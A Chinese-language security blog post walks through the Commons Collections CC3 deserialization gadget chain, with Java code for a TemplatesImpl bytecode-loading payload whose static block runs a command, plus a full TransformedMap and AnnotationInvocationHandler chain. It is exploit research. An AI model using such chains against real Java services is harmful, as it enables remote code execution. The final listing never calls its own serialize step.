简介
继续来分析cc链了,相较于cc1,这条cc3链就是改变了最后的执行类。由之前的Runtime命令执行改变为动态类加载,能够任意代码执行,对于命令执行,代码执行应用更加广泛。这篇cc3的分析文章也是基于cc1分析文章的基础上编写。
CC3链分析
执行类
我们知道CC3链是任意类动态加载来代码执行的,而这个利用点就在defineClass方法中。
而这个方法主要做的事情就是由字节码数据加载为java对象,也就是类的加载。这个方法是由protected修饰,不能直接被包外的类调用。那么我们就逆向找哪个public修饰的方法调用了此处。在Templateslmpl类中的defineClass方法中调用了。
这也不是public,继续找。在本类的defineTransletClasses方法调用了。继续往上找,在该类的getTransletInstance方法中调用了。
我们知道,执行静态代码块需要满足两个条件,类加载与初始化。而这个方法中对_class初始化了,所以我们需要将链走到这里。这个还是私有的方法,继续往上找,看谁调用了它。
public方法有了。那么就从这个地方开始编写代码看能不能代码执行。
测试
在getTransletInstance方法中,需要满足_name不为空,_class不用,它默认为空。而走到defineTransletClasses方法中,_bytecodes不能为空。
而这里会遍历bytecodes数组进行类加载。而bytecodes是一个二维数组,所以这里我们需要传恶意类的字节码。
这里_tfactory属性不能为空,因为它需要调用某个类的函数。
而它是由transient修饰的,不能序列化,那怎么办?链子是不是走不通了。
不用慌,在readObject方法中对这个属性赋值了。所以在序列化操作中不用管这个属性了,而我们测试的时候需要给它赋值。
细节都处理完了,先编写恶意类。
package cc3.demo;
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Testdemo extends AbstractTranslet{ static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } |
为什么这个恶意类要继承AbstractTranslet类?
这里我们需要让_transletIndex不能小于0,不然会抛出异常。所以需要走到if语句里面对它赋值。这个if判断说的就是被加载的类的父类是不是ABSTRACT_TRANSLET,再看这个属性是什么值。
那么一切都说的通了。将恶意类编译成class文件,编写执行类:
package cc3.demo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException; import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class CC3test04 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException { TemplatesImpl templates = new TemplatesImpl(); //反射修改值 Class c = templates.getClass(); Field name = c.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaaa"); Field bytecodes = c.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class")); byte[][] codes = {code}; bytecodes.set(templates, codes); Field tfactoryField = c.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); templates.newTransformer(); } } |
哦耶,成功弹出计算器。
调用链
我们知道执行代码的入口就是newTransformer方法,那么继续往上找,在TrAXFilter类的构造方法中调用了。
很不巧,这个类是不能序列化的,我们只能在它的构造方法中赋值调用。CC3链作者用到了InstantiateTransformer这个类。重点在于它的transform方法。
它会调用任意类的构造函数,可以解决上面类不能实例化的问题。只要调用了InstantiateTransformer类的transform方法,就可以任意代码执行。接下来找入口类,和cc1的相同,相较于cc1链,它就是把InvokerTransformer类替换成这个类了。而入口类还是AnnotationInvocationHandler,具体细节在cc1这篇文章写了,在这就不再赘述。所以整条链为:
package cc3.demo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.*; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC3test02 { public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, NoSuchMethodException, InvocationTargetException, InstantiationException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); //反射修改值 Class c = templates.getClass(); Field name = c.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaaa"); Field bytecodes = c.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class")); byte[][] codes = {code}; bytecodes.set(templates, codes); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); org.apache.commons.collections.Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<Object,Object>(); map.put("value","asd"); Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer); //创建AnnotationInvocationHandler类 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotation = cl.getDeclaredConstructor(Class.class,Map.class); annotation.setAccessible(true); Object o = annotation.newInstance(Target.class,transformedmap); unserialize("web.bin"); } public static void serialize(Object object) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("web.bin"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(object); System.out.println("1.序列化成功"); }
public static void unserialize(String filename) throws IOException, ClassNotFoundException { FileInputStream fileInputStream = new FileInputStream(filename); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); objectInputStream.readObject(); System.out.println("2.反序列化成功"); } } |
日常弹计算器。
结语
到目前为止复现了三条典型的cc链,剩下的cc链就是经典类之间排列组合。之后不会在专门复现剩下的cc链,遇到的时候再看。反序列化之路任重而道远。